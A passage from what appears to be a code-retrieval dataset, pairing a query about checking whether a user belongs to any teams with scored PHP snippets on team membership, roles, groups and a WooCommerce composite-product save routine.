$post_id, '_sale_price' );\n\t\t\tdelete_post_meta( $post_id, '_price' );\n\t\t} else {\n\t\t\tupdate_post_meta( $post_id, '_per_product_pricing_bto', 'no' );\n\t\t\tupdate_post_meta( $post_id, '_regular_price', stripslashes( $_POST['_regular_price'] ) );\n\t\t\tupdate_post_meta( $post_id, '_sale_price', stripslashes( $_POST['_sale_price'] ) );\n\t\t}\n\n\n\n\t\t// Shipping\n\t\t// Non-Bundled (per-item) Shipping\n\n\t\tif ( isset( $_POST['_per_product_shipping_bto'] ) ) {\n\t\t\tupdate_post_meta( $post_id, '_per_product_shipping_bto', 'yes' );\n\t\t\tupdate_post_meta( $post_id, '_virtual', 'yes' );\n\t\t\tupdate_post_meta( $post_id, '_weight', '' );\n\t\t\tupdate_post_meta( $post_id, '_length', '' );\n\t\t\tupdate_post_meta( $post_id, '_width', '' );\n\t\t\tupdate_post_meta( $post_id, '_height', '' );\n\t\t} else {\n\t\t\tupdate_post_meta( $post_id, '_per_product_shipping_bto', 'no' );\n\t\t\tupdate_post_meta( $post_id, '_virtual', 'no' );\n\t\t\tupdate_post_meta( $post_id, '_weight', stripslashes( $_POST['_weight'] ) );\n\t\t\tupdate_post_meta( $post_id, '_length', stripslashes( $_POST['_length'] ) );\n\t\t\tupdate_post_meta( $post_id, '_width', stripslashes( $_POST['_width'] ) );\n\t\t\tupdate_post_meta( $post_id, '_height', stripslashes( $_POST['_height'] ) );\n\t\t}\n\n\t\t// Composite style\n\t\tif ( isset( $_POST['bto_style'] ) )\n\t\t\tupdate_post_meta( $post_id, '_bto_style', $_POST['bto_style'] );\n\t\telse\n\t\t\tupdate_post_meta( $post_id, '_bto_style', 'single' );\n\n\n\n\t\t// Process Composite Product Configuration\n\t\t$bto_data = maybe_unserialize( get_post_meta( $post_id, '_bto_data', true ) );\n\t\t$zero_product_item_exists = false;\n\n\t\tif ( ! $bto_data )\n\t\t\t$bto_data = array();\n\n\t\tif ( isset( $_POST['bto_data'] ) ) {\n\n\t\t\t$counter = 0;\n\t\t\t$ordering = array();\n\n\t\t\tforeach ( $_POST['bto_data'] as $row_id => $post_data ) {\n\n\t\t\t\t$bto_ids = $post_data['assigned_ids'];\n\n\t\t\t\tif ( ! isset( $bto_ids ) || empty( $bto_ids ) ) {\n\t\t\t\t\t$zero_product_item_exists = true;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t$group_id = isset ( $post_data['group_id'] ) ? $post_data['group_id'] : ( current_time('timestamp') + $counter );\n\t\t\t\t$counter++;\n\n\t\t\t\t$bto_data[$group_id] = array();\n\n\t\t\t\tforeach ( $bto_ids as $key => $id ) {\n\n\t\t\t\t\t// Get product type\n\t\t\t\t\t$terms \t\t\t= get_the_terms( $id, 'product_type' );\n\t\t\t\t\t$product_type \t= ! empty( $terms ) && isset( current( $terms )->name ) ? sanitize_title( current( $terms )->name ) : 'simple';\n\n\t\t\t\t\tif ( ( $id && $id > 0 ) && ( $product_type == 'simple' || $product_type == 'variable' ) && ( $post_id != $id ) ) {\n\n\t\t\t\t\t\t// Check that product exists\n\n\t\t\t\t\t\tif ( ! get_post( $id ) )\n\t\t\t\t\t\t\tcontinue;\n\n\t\t\t\t\t\t// Save assigned ids\n\n\t\t\t\t\t\t$bto_data[$group_id]['assigned_ids'][] = $id;\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\t// True if none of the ids exist\n\t\t\t\tif ( empty( $bto_data[$group_id]['assigned_ids'] ) ) {\n\t\t\t\t\tunset( $bto_data[$group_id] );\n\t\t\t\t\t$zero_product_item_exists = true;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t// Save title preferences\n\t\t\t\tif ( isset( $post_data['title'] ) && !empty( $post_data['title'] ) ) {\n\t\t\t\t\t$bto_data[$group_id]['title'] = $post_data['title'];\n\t\t\t\t} else {\n\t\t\t\t\t$bto_data[$group_id]['title'] = '';\n\t\t\t\t\t$woocommerce_errors[] = __( 'Please give a Name to all Components before publishing.', 'woocommerce-bto' );\n\n\t\t\t\t\tif ( isset( $_POST['post_status'] ) && $_POST['post_status'] == 'publish' ) {\n\t\t\t\t\t\tglobal $wpdb;\n\t\t\t\t\t\t$wpdb->update( $wpdb->posts, array( 'post_status' => 'draft' ), array( 'ID' => $post_id ) );\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\t// Save description preferences\n\t\t\t\tif ( isset( $post_data['description'] ) && !empty( $post_data['description'] ) ) {\n\t\t\t\t\t$bto_data[$group_id]['description'] = $post_data['description'];\n\t\t\t\t} else {\n\t\t\t\t\t$bto_data[$group_id]['description'] = '';\n\t\t\t\t}\n\n\t\t\t\t// Save quantity data\n\t\t\t\tif ( isset( $post_data['quantity_min'] ) && isset( $post_data['quantity_max'] ) ) {\n\n\t\t\t\t\tif ( is_numeric( $post_data['quantity_min'] ) && is_numeric( $post_data['quantity_max'] ) ) {\n\n\t\t\t\t\t\t$quantity_min = ( int ) $post_data['quantity_min'];\n\t\t\t\t\t\t$quantity_max = ( int ) $post_data['quantity_max'];\n\n\t\t\t\t\t\tif ( $quantity_min > 0 && $quantity_max >= $quantity_min ) {\n\n\t\t\t\t\t\t\t$bto_data[$group_id]['quantity_min'] = $quantity_min;\n\t\t\t\t\t\t\t$bto_data[$group_id]['quantity_max'] = $quantity_max;\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$woocommerce_errors[] = sprintf( __('The quantities you entered for \\'%s\\' were not valid and have been reset. Please enter positive integer values, with Quantity Min greater than or equal to Quantity Max.', 'woocommerce-bto'), $post_data['title'] );\n\t\t\t\t\t\t\t$bto_data[$group_id]['quantity_min'] = 1;\n\t\t\t\t\t\t\t$bto_data[$group_id]['quantity_max'] = 1;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t// If its not there, it means the product was just added\n\t\t\t\t\t$bto_data[$group_id]['quantity_min'] = 1;\n\t\t\t\t\t$bto_data[$group_id]['quantity_max'] = 1;\n\t\t\t\t}\n\n\t\t\t\t// Save discount data\n\t\t\t\tif ( isset( $post_data['discount'] ) ) {\n\n\t\t\t\t\tif ( is_numeric( $post_data['discount'] ) ) {\n\n\t\t\t\t\t\t$discount = ( int ) $post_data['discount'];\n\n\t\t\t\t\t\tif ( $discount < 0 || $discount > 100 ) {\n\t\t\t\t\t\t\t$woocommerce_errors[] = sprintf( __('The discount value you entered for \\'%s\\' was not valid and has been reset. Please enter a positive integer between 0-100.', 'woocommerce-bto'), $post_data['title'] );\n\t\t\t\t\t\t\t$bto_data[$group_id]['discount'] = '';\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$bto_data[$group_id]['discount'] = $discount;\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$bto_data[$group_id]['discount'] = '';\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t$bto_data[$group_id]['discount'] = '';\n\t\t\t\t}\n\n\t\t\t\t// Save optional data\n\t\t\t\tif ( isset( $post_data['optional'] ) ) {\n\t\t\t\t\t$bto_data[$group_id]['optional'] = 'yes';\n\t\t\t\t} else {\n\t\t\t\t\t$bto_data[$group_id]['optional'] = 'no';\n\t\t\t\t}\n\n\t\t\t\t// Save position data\n\t\t\t\tif ( isset( $post_data['position'] ) ) {\n\t\t\t\t\t$bto_data[$group_id]['position'] = (int) $post_data['position'];\n\t\t\t\t\t$ordering[(int) $post_data['position']] = $group_id;\n\t\t\t\t} else {\n\t\t\t\t\t$bto_data[$group_id]['position'] = -1;\n\t\t\t\t\t$ordering[count($ordering)] = $group_id;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tksort( $ordering );\n\t\t\t$ordered_bto_data = array();\n\n\t\t\tforeach ( $ordering as $group_id ) {\n\t\t\t $ordered_bto_data[$group_id] = $bto_data[$group_id];\n\t\t\t}\n\t\t\tupdate_post_meta( $post_id, '_bto_data', $ordered_bto_data );\n\n\t\t}\n\n\t\tif ( ! isset( $_POST['bto_data'] ) || count( $bto_data ) == 0 ) {\n\n\t\t\tdelete_post_meta( $post_id, '_bto_data' );\n\n\t\t\t$woocommerce_errors[] = __('Please define at least one Component for the Composite Product before publishing. To add a Component, click on the Composition tab and assign at least one product option to each Component.', 'woocommerce-bto');\n\n\t\t\tif ( isset( $_POST['post_status'] ) && $_POST['post_status'] == 'publish' ) {\n\t\t\t\tglobal $wpdb;\n\t\t\t\t$wpdb->update( $wpdb->posts, array( 'post_status' => 'draft' ), array( 'ID' => $post_id ) );\n\t\t\t}\n\n\t\t\treturn;\n\t\t}\n\n\t\tif ( $zero_product_item_exists ) {\n\t\t\t$woocommerce_errors[] = __('Please assign at least one product option to every Component. Products can be assigned to Components by clicking on the Component Options field.', 'woocommerce-bto' );\n\t\t}\n\n\t}", "title": "" }, { "docid": "8ab29f4bf813614b8e967fde2b75d77f", "score": "0.42741576", "text": "public function __mlmAmountBasic();", "title": "" }, { "docid": "6a6b3b9e531830b5c6b61855df879bbb", "score": "0.42711502", "text": "public function getGoodsValue()\n {\n $goodsValue = 0;\n foreach ($this->_anythings as $anything) {\n /* @var $anything Temando\\Temando\\Model\\Api\\Request\\Anything */\n $item = $anything->getItem();\n if ($item instanceof Temando\\Temando\\Model\\Box) {\n $goodsValue += $item->getValue();\n } else {\n //$goodsValue += ($item->getQty() * Mage::helper('temando')->getItemArticleValue($item));\n }\n }\n return (float) $goodsValue;\n }", "title": "" }, { "docid": "17ef45299b64ea1b4eaa0999a8ab9605", "score": "0.4266832", "text": "public function getOpLibelle()\n {\n\n return $this->op_libelle;\n }", "title": "" }, { "docid": "ad9659022b72dbbc614d5c5ab7bd1610", "score": "0.4263567", "text": "public function testSubsetB() {\n $enchainement = new \\mock\\ThalassaWeb\\BarcodeHelper\\code128\\Enchainement;\n $this->calling($enchainement)->getLastSubset = 'B';\n // /PT/12AZE RTY34\n $this->calling($enchainement)->getValeurs = [104, 15, 48, 52, 15, 17, 18, 33, 58, 37, 0, 50, 52, 57, 19, 20];\n $this->given($this->newTestedInstance)\n ->then\n ->string($this->testedInstance->getCleControle($enchainement))\n ->isEqualTo(\"-\")\n ;\n }", "title": "" }, { "docid": "157909260bec65f0edacf27a4556a77c", "score": "0.42563376", "text": "function _sbs($type, $func) {\n if ($this->_start && $this->_type == \"sbs\") {\n if ($this->_before == $func && $this->_second) {\n $tmp_nb_line = $this->_nb_line;\n $this->request->data[$tmp_nb_line] = new Diff();\n } else {\n $this->_second = false;\n $tmp_nb_line = $this->_start;\n $this->_start += 1;\n $this->_nb_line -= 1;\n }\n } else {\n $tmp_nb_line = $this->_nb_line;\n $this->_start = $this->_nb_line;\n $this->request->data[$tmp_nb_line] = new Diff();\n $this->_second = true;\n }\n if (empty($this->request->data[$tmp_nb_line])) {\n $this->_nb_line += 1;\n $this->request->data[$tmp_nb_line] = new Diff();\n }\n return $this->request->data[$tmp_nb_line];\n }", "title": "" }, { "docid": "446d2d37dbf79d24f4161ee2e166c43f", "score": "0.4255753", "text": "public function getPricePerUnitFrom()\n {\n }", "title": "" }, { "docid": "af67fe98539b777cb3c903dd85800d3a", "score": "0.4251911", "text": "abstract public function getPaymentMethod();", "title": "" } ]
4c58f17f333f8b8a853fe61fe454b71a
Determine if the user is a member of any teams.
[ { "docid": "e95d92fd1e1cfdb4df3073b3a44f2a29", "score": "0.71120346", "text": "public function hasTeams()\n {\n return count($this->teams) > 0;\n }", "title": "" } ]
[ { "docid": "3d251bf414570237b7aba9e0952c4bc4", "score": "0.741974", "text": "public function isTeamMember()\n\t{\n\t\treturn ($this->role*1 & 1)>0;\n\t}", "title": "" }, { "docid": "50ff1c42dafd8707d74ebae160927e2d", "score": "0.7333045", "text": "public function ownsAnyTeams()\n {\n return $this->teams()->where(\"owner_id\", \"=\", $this->id)->count() > 0;\n }", "title": "" }, { "docid": "3d13895ee5e29b1b39ae37413a3f1c1b", "score": "0.7240949", "text": "public function exists($user, array $teams);", "title": "" }, { "docid": "a52c532c447589ff9501d9026e1c5129", "score": "0.68089145", "text": "function wpcd_check_user_is_team_manager( $user_id, $team_id = 0 ) {\n\n\tif ( empty( $user_id ) ) {\n\t\treturn false;\n\t}\n\n\t// return true if passed $user_id is a team manager in passed $team_id.\n\tif ( ! empty( $team_id ) ) {\n\t\t$wpcd_permission_rule = get_post_meta( $team_id, 'wpcd_permission_rule', true );\n\n\t\tforeach ( $wpcd_permission_rule as $rule ) {\n\t\t\tif ( array_key_exists( 'wpcd_team_manager', $rule ) && $rule['wpcd_team_member'] == $user_id ) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t} else {\n\t\t$args = array(\n\t\t\t'post_type' => 'wpcd_team',\n\t\t\t'post_status' => 'private',\n\t\t\t'numberposts' => -1,\n\t\t\t'fields' => 'ids',\n\t\t);\n\t\t$teams = get_posts( $args );\n\n\t\tif ( $teams ) {\n\t\t\tforeach ( $teams as $team ) {\n\t\t\t\t$wpcd_permission_rule[] = get_post_meta( $team, 'wpcd_permission_rule', true );\n\t\t\t}\n\n\t\t\tif ( $wpcd_permission_rule ) {\n\t\t\t\tforeach ( $wpcd_permission_rule as $rules ) {\n\t\t\t\t\tif ( $rules ) {\n\t\t\t\t\t\tforeach ( $rules as $rule ) {\n\t\t\t\t\t\t\tif ( array_key_exists( 'wpcd_team_manager', $rule ) && $rule['wpcd_team_member'] == $user_id ) {\n\t\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn false;\n\n}", "title": "" }, { "docid": "859aa5e55ae37ba672c22052dc55d80d", "score": "0.6797049", "text": "public function IsInTeam()\n\t{\n\t\treturn $this->IsStaff();\n\t}", "title": "" }, { "docid": "7978ee1ce3303d275e1e54e769abf03d", "score": "0.6698652", "text": "public function isTeamMember($user_id, $team_id) {\n $tm_record = Team_Member::getRecord($team_id, $user_id);\n if ($tm_record && $tm_record->active) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "48bdb30c3a7b02d0558b4bcf58fa9541", "score": "0.65974003", "text": "public function isOwnerOfTeam($team);", "title": "" }, { "docid": "d00931f494260f674d7c0c81dfd71c6d", "score": "0.65799826", "text": "public function memberOfTeam($team)\n {\n return $this->teams->contains($team);\n }", "title": "" }, { "docid": "2633215c602d5187130c4dd807a83e71", "score": "0.64338267", "text": "function is_team_admin_aux($user, $admins) {\n foreach ($admins as $a) {\n if ($a->userid == $user->id) return true;\n }\n return false;\n}", "title": "" }, { "docid": "3843a4c62b5a170c97f2c15a9fa97981", "score": "0.6342185", "text": "public function isTeamMember($team)\n {\n return $this->teams->contains('id', is_numeric($team) ? $team : $team->id);\n }", "title": "" }, { "docid": "da6ed16048cca0482622562b4238f851", "score": "0.62944686", "text": "function isUserMember() {\n return (getUserGroup() == 0);\n}", "title": "" }, { "docid": "7c7625768633dca3cedec37207384a24", "score": "0.61642325", "text": "public function isAccessible()\n {\n if (auth()->user()->id === $this->user_id || $this->visibility === Project::VISIBILITY_ORGANIZATION) {\n return true;\n }\n\n return $this->teamMembers->contains(auth()->user()->id);\n }", "title": "" }, { "docid": "214671084fb346667c911157ab8835c7", "score": "0.6159146", "text": "public function viewAny(User $user)\n {\n return $user->can('read-teams');\n }", "title": "" }, { "docid": "bcdc333eb69bac66a6825397ffe88f4f", "score": "0.61284244", "text": "public function members(User $user, Idea $idea)\n {\n return $idea->isMember($user);\n }", "title": "" }, { "docid": "24b21342677217f8587b07312c05c1ae", "score": "0.6123645", "text": "public function hasUsers();", "title": "" }, { "docid": "24b21342677217f8587b07312c05c1ae", "score": "0.6123645", "text": "public function hasUsers();", "title": "" }, { "docid": "857c2beba0de7aa77f91fde26d78c1be", "score": "0.6116469", "text": "public function isInTournament($id)\n {\n $teams = $this->teams->toArray();\n foreach ($teams as $team) {\n $registered = array_first($team, function ($key, $value) {\n return ($key == 'id' && $value == Sentry::getUser()->team_id);\n });\n if ($registered) return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "57b5a470081fa764c656cb85fe52a26c", "score": "0.60796523", "text": "public function hasTeamid(){\n return $this->_has(1);\n }", "title": "" }, { "docid": "866892a13c1f279facd758c3fe2278cc", "score": "0.6029163", "text": "public function isMemberOfAnyGroup()\n\t{\n\t\treturn $this->Group->isMemberOfAnyGroup($this->userData['groups'], $this->to['id']);\n\t}", "title": "" }, { "docid": "cf5283e86d9ab79a6b03dbbf7a661614", "score": "0.60218656", "text": "function validExistingTeam($teams, $teamChosen) {\r\n foreach($teams as $team) {\r\n if ($teamChosen == $team['teamId']) {\r\n return true;\r\n }\r\n }\r\n return false;\r\n }", "title": "" }, { "docid": "0d98a2ec7e9267ea48785a7b7d085853", "score": "0.60002977", "text": "function members_role_has_users( $role ) {\n\n\treturn in_array( $role, members_get_active_roles() );\n}", "title": "" }, { "docid": "46cf52021aa108ac5d033024a7487c38", "score": "0.5999938", "text": "public function user_can_retrieve_their_own_team_list()\n { \n factory(Team::class, 10)->create();\n\n $userTeams = factory(Team::class, 10)->create([\n 'user_id' => $this->user->id\n ]);\n\n \t$response = $this->actingAs($this->user, 'api')\n ->get('/api/teams');\n $response->assertStatus(200);\n\n $this->assertCount(10, $response->json());\n }", "title": "" }, { "docid": "3651c36bffab1706e4c73e9fb972cce2", "score": "0.59829676", "text": "public function hasRole($name, $team = null, $requireAll = false);", "title": "" }, { "docid": "ae8cfa9453afd12d878c34f066b3ba79", "score": "0.594843", "text": "public function exists($team);", "title": "" }, { "docid": "fe8a0818a6b0439b898817be046ca31c", "score": "0.5920815", "text": "public function hasTeamname(){\n return $this->_has(2);\n }", "title": "" }, { "docid": "db7b108794e7345783b639d5dc51032a", "score": "0.588147", "text": "public function hasMembers()\n {\n return $this->getMembers()->exists();\n }", "title": "" }, { "docid": "7e42a5385fdf84493ec525437d22f4c4", "score": "0.5868551", "text": "public function isOwnerOfTeam($team)\n {\n return $team->owner_id === $this->id;\n }", "title": "" }, { "docid": "318cfaa7f4be1ff135adbc90201a5c7c", "score": "0.58559924", "text": "function isMember($value)\r\n\t{\r\n\t\treturn in_array($value, $this->members);\r\n\t}", "title": "" }, { "docid": "c182e7228365ad5fd775bafd28f67c62", "score": "0.5842273", "text": "public function testHasUser()\n {\n echo 'Test HasUser' . \"\\n\";\n $team = self::getTeam('Test');\n $user = self::getUser('[email protected]');\n $user2 = self::getUser('[email protected]');\n $this->assertTrue($team->hasUser($user));\n $this->assertFalse($team->hasUser($user2));\n }", "title": "" }, { "docid": "7fbfa73d7e04ca42c7eb71ccba30e44a", "score": "0.58253783", "text": "public function hasAssignedUsers()\n {\n return count($this->users) > 0;\n }", "title": "" }, { "docid": "f8cbc615c49cb0782ae6d55b1f855111", "score": "0.58240134", "text": "function is_member($userData) {\n $memberships = $userData->dataList[0]->memberships;\n if ($memberships) {\n if (sizeof($memberships) > 0) {\n return 1;\n }\n }\n return 0;\n}", "title": "" }, { "docid": "6f0d2d645f7e7fe3150ef8c606d66424", "score": "0.58020014", "text": "public static function team_leader_check($email){\n\t\t$sql = \"SELECT * FROM players WHERE email = '$email'\";\n\t\t$result = mysqli_query(DB::connect(), $sql);\n\t\t$count = mysqli_num_rows($result);\n\t\tif ($count > \"0\"){\n\t\t\ttrigger_error('A team leader cannot be in multiple teams');\n\t\t\t} else {\n\t\t\treturn true;\n\t\t}\n\t}", "title": "" }, { "docid": "05ca7122e697d41de4051e809dc62ba6", "score": "0.5787764", "text": "public function checkIfMember () {\n\t\treturn IPSMember::isInGroup( $this->memberData, $this->settings['perscom_base_unit_usergroup'] , true);\n\t}", "title": "" }, { "docid": "6126094d5c23d04402e9e59ace4728a4", "score": "0.57472277", "text": "function isLoggedIn() {\n\treturn isset($_SESSION['team'])&&is_numeric($_SESSION['team']);\n}", "title": "" }, { "docid": "d8a4a6fd9e98f8a9c92d0b35b923386b", "score": "0.574297", "text": "public function isMember(int $userId) : bool\n {\n return (DB::table('user_project')->where('projectid', '=', $this->projectid)->where('userid', '=', $userId)\n ->first() !== null);\n }", "title": "" }, { "docid": "f3434e2cde67b3739443cbe2eb0275ed", "score": "0.5737606", "text": "public static function checkTheRules() {\n $user = self::getCurrentUser();\n $res = array();\n foreach (func_get_args() as $param) {\n if (!is_array($param)) {\n $res = in_array($param, $user->roles) ? true : $res ? true : false;\n }\n }\n return $res;\n }", "title": "" }, { "docid": "4a39509169c38f72b4e3b97d655badfe", "score": "0.57290787", "text": "public function passes()\n {\n return in_array('MODERATOR', $this->user->getRoles())\n or in_array('ADMIN', $this->user->getRoles());\n }", "title": "" }, { "docid": "1cf28e36fefc56c94cafcf07013b9061", "score": "0.57170993", "text": "function _is_staff($member)\n\t{\n\t\t$usergroups=$this->get_members_groups($member);\n\t\treturn ((in_array(1,$usergroups)) || (in_array(2,$usergroups)));\n\t}", "title": "" }, { "docid": "2c8c3ba1cd76352edd6861d28645d72a", "score": "0.57123864", "text": "public static function hasTeamFeatures()\n {\n return Features::hasTeamFeatures();\n }", "title": "" }, { "docid": "1ebbabf5420f7f18e4a950a1d9a2a15f", "score": "0.56921434", "text": "function isMemberOf ($userid,$role)\n\t{}", "title": "" }, { "docid": "3eea4a7e74d5afde9a4ff4698af272fa", "score": "0.56875396", "text": "public function isMember();", "title": "" }, { "docid": "9f9313f66cf03f9ae24b57bbcfe674f8", "score": "0.56600076", "text": "public static function hasUsers() {\r\n\t\t$method = Security::loginMethod();\r\n\t\tif( $method != SECURITY_TABLE && $method != SECURITY_AD )\r\n\t\t\treturn false;\r\n\t\treturn true;\r\n\t}", "title": "" }, { "docid": "b7b426d3f45dbfd50eff9de7cb18e633", "score": "0.56482226", "text": "function isMember($user_id, $project_id, $db) {\n\t$check_membership = $db->prepare('SELECT user_id, project_id FROM projects_member WHERE project_id = :project_id AND user_id = :user_id');\n\t$check_membership->bindParam(':user_id', $user_id);\n\t$check_membership->bindParam(':project_id', $project_id);\n\t$check_membership->execute();\n\t$check_membership = $check_membership->fetchAll();\n\n\tif (count($check_membership) > 0) { return true; }\n\telse { return false; }\n}", "title": "" }, { "docid": "dd12b3aeae46c313ab1a3611812ec2f8", "score": "0.564711", "text": "protected function canInvite()\n {\n return Yii::$app->getModule('user')->settings->get('auth.internalUsersCanInvite') || Yii::$app->user->can([\n new ManageUsers(),\n new ManageGroups()\n ]);\n }", "title": "" }, { "docid": "2525a601f2e1370f5122c8019e160192", "score": "0.56398016", "text": "public function memberLoggedIn()\n {\n if (null === $this->user) {\n throw new \\BadMethodCallException('Invalid method call: memberLoggedIn method was called without successful session validation!');\n }\n $user = $this->session()->get('user');\n\n return is_array($user) && array_key_exists('_auth_type', $user) && $user['_auth_type'] == 'member';\n }", "title": "" }, { "docid": "d4a4c605e1f397f9ef974e510e945ab0", "score": "0.56336105", "text": "function isMember($user,$groups){\n //note that you are not passing in the DN of a group so there is the possibility of overlap if you have multiple groups of the same CN with different DNs\n $auth_groups = $this->getGroups($user);\n if ($auth_groups) foreach($auth_groups as $ag) { \n \tif (in_array($ag,$groups)) return true;\n\t}\n\treturn false;\t\n }", "title": "" }, { "docid": "f0dbd3d3ec0c24589b727284a1ef6ed0", "score": "0.56246555", "text": "static public function was_member() {\n global $wpdb, $current_user;\n\n $return = false;\n\n // Must be logged in to know if she was a member...\n if ( empty( $current_user->ID ) ) {\n $return = null;\n }\n else {\n //$old_member = $wpdb->get_var(\"SELECT id FROM $wpdb->pmpro_memberships_users WHERE user_id = '\" . $current_user->ID . \"' AND status NOT IN('cancelled')\");\n $old_member = $wpdb->get_var(\"SELECT id FROM $wpdb->pmpro_memberships_users WHERE user_id = '\" . $current_user->ID . \"' AND status = 'expired'\");\n if ( ! empty( $old_member ) )\n $return = true;\n }\n\n return $return;\n }", "title": "" }, { "docid": "dc37923725702cb94e1e24a9b65ada38", "score": "0.5617623", "text": "function wpcd_get_users_in_team( $post_id ) {\n\n\tif ( empty( $post_id ) ) {\n\t\treturn array();\n\t}\n\n\t$users = array();\n\n\t$teams = get_post_meta( $post_id, 'wpcd_assigned_teams', false );\n\t$users = array();\n\tif ( $teams ) {\n\t\tforeach ( $teams as $team ) {\n\t\t\t$rules = get_post_meta( $team, 'wpcd_permission_rule', true );\n\t\t\tif ( $rules ) {\n\t\t\t\tforeach ( $rules as $rule ) {\n\t\t\t\t\tif ( in_array( $rule['wpcd_team_member'], $users ) ) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$users[] = $rule['wpcd_team_member'];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn $users;\n}", "title": "" }, { "docid": "11055fdd5b21cd8e8d84fc16e9b1a0ac", "score": "0.56131864", "text": "public static function userMember(int $teamId, int $userId):bool {\t\n \t return \\App\\Models\\Member::userAdmin('teams', $teamId, $userId);\n \t}", "title": "" }, { "docid": "1f6461a525fce5848a18bf14bdde16e3", "score": "0.5596591", "text": "public function isEmployee()\n {\n $roles = $this->roles->toArray();\n return !empty($roles);\n }", "title": "" }, { "docid": "1f6461a525fce5848a18bf14bdde16e3", "score": "0.5596591", "text": "public function isEmployee()\n {\n $roles = $this->roles->toArray();\n return !empty($roles);\n }", "title": "" }, { "docid": "b6c2bb71fb5815e9fd26d349faa45f4d", "score": "0.5595546", "text": "protected function isUserInSelectedTeams($user, $bean)\n {\n // Db format with seconds.\n $dateModified = !empty($bean->fetched_row['date_modified']) ? $bean->fetched_row['date_modified'] : '';\n $cacheAccessKey = $user->id . $bean->id . $dateModified;\n if (!empty($dateModified) && array_key_exists($cacheAccessKey, self::$cacheAccess)) {\n return self::$cacheAccess[$cacheAccessKey];\n }\n\n if (!TeamBasedACLConfigurator::implementsTBA($bean->module_dir)) {\n // Does not implement TBA. Has access.\n return self::$cacheAccess[$cacheAccessKey] = true;\n }\n $sq = new SugarQuery();\n $sq->select('id');\n $sq->from($bean, array('alias' => 'bean', 'team_security' => false));\n\n $join = $sq->joinTable('team_sets_teams', array(\n 'alias' => 'tst',\n ));\n $join->on()->equalsField('tst.team_set_id', 'bean.acl_team_set_id');\n\n $join = $sq->joinTable('team_memberships', array(\n 'alias' => 'tm',\n ));\n $join->on()->equalsField('tm.team_id', 'tst.team_id');\n $join->on()->equals('tm.user_id', $user->id);\n $join->on()->equals('tm.deleted', 0);\n\n $sq->where()->equals('id', $bean->id);\n $result = (bool)$sq->getOne();\n\n return self::$cacheAccess[$cacheAccessKey] = $result;\n }", "title": "" }, { "docid": "afc3b583ec8c95c07b6f32e73eafd60c", "score": "0.5595431", "text": "public static function userHasTeamFeatures($user)\n {\n return (array_key_exists(HasTeams::class, class_uses_recursive($user)) ||\n method_exists($user, 'currentTeam')) &&\n static::hasTeamFeatures();\n }", "title": "" }, { "docid": "25cd700ba12718449a5586412c03ef9b", "score": "0.5585691", "text": "public function isUserOrGroupSet() {}", "title": "" }, { "docid": "59117cdfc18fa4e481c3838fdb4de183", "score": "0.55657715", "text": "function mocwp_is_current_user_a_member( $user_id = 0 ) {\n\t$is_member = false;\n\n\tif ( empty( $user_id ) ) {\n\t\t$user_id = get_current_user_id();\n\t}\n\n\tif ( $user_id ) {\n\t\t$is_member = (bool) groups_is_user_member( $user_id, mocwp_get_group_id() );\n\t}\n\n\treturn $is_member;\n}", "title": "" }, { "docid": "04342bd259c4257ad76328f554663d57", "score": "0.5544802", "text": "public function hasUser()\n {\n return !is_null($this->user());\n }", "title": "" }, { "docid": "8105172e8918e08ed0ae15783c08d70c", "score": "0.55206466", "text": "private function getUserTeamsInUnit($teams = [])\n {\n $teamsInUnit = array();\n\n if (empty($teams)) {\n $teams = $this->getUser()->getTeams();\n }\n\n if (!empty($teams)) {\n foreach ($teams as $team) {\n $teamsInUnit[$team->getAuthorityName()] = $team->getDisplayName();\n }\n }\n return $teamsInUnit;\n }", "title": "" }, { "docid": "3c1ac49fec3bfbef5ce2196e35771fe1", "score": "0.5506639", "text": "function hasUsers() {\n\t\tglobal $default;\n\t\t$sql = $default->db;\n\t\t$sql->query(array(\"SELECT id FROM $default->users_groups_table WHERE group_id = ?\", $this->iId));/*ok*/\n \t$rows = $sql->num_rows();\n if ($rows > 0) {\n \treturn true;\n } else {\n \treturn false;\n }\n\t}", "title": "" }, { "docid": "3833fd5280cd34f9a5b793d93ac1899c", "score": "0.55057275", "text": "public function attachAnyUser(User $user, Team $team)\n {\n if (! $team->visible && $user->cant('read-teams-hidden')) {\n return false;\n }\n\n return $user->can('update-teams-membership');\n }", "title": "" }, { "docid": "368a01dc26f58884acd9a2adbd740c89", "score": "0.5499262", "text": "function members_current_user_can_any( $caps = array() ) {\n\n\tforeach ( $caps as $cap ) {\n\n\t\tif ( current_user_can( $cap ) )\n\t\t\treturn true;\n\t}\n\n\treturn false;\n}", "title": "" }, { "docid": "fdcd1b89a336f2cef9e7ce2c4b9df990", "score": "0.5497212", "text": "public function userExistsInLobby(User $user)\n {\n return $this->users->where('id', $user->id)->count() > 0;\n }", "title": "" }, { "docid": "c3d9ba79e355f6860422d665fe596a1f", "score": "0.5494979", "text": "public function isGroupMember()\n\t{\n\t\treturn $this->Group->isMember($this->to['members'], $this->userData['id']);\n\t}", "title": "" }, { "docid": "cf592633af1e543150a3575929a60d5d", "score": "0.54889417", "text": "public function hasUser()\n {\n return !is_null($this->user);\n }", "title": "" }, { "docid": "4e775e8ebcb5071d39c89ec5f0ba8530", "score": "0.54887944", "text": "function _check_user()\n\t{\n\t\tglobal $SESS;\n\t\t\n\t\t// Don't check if we don't have to check logged-in members\n\t\tif ($this->settings['check_members'] === 'n' AND $SESS->userdata['member_id'] != 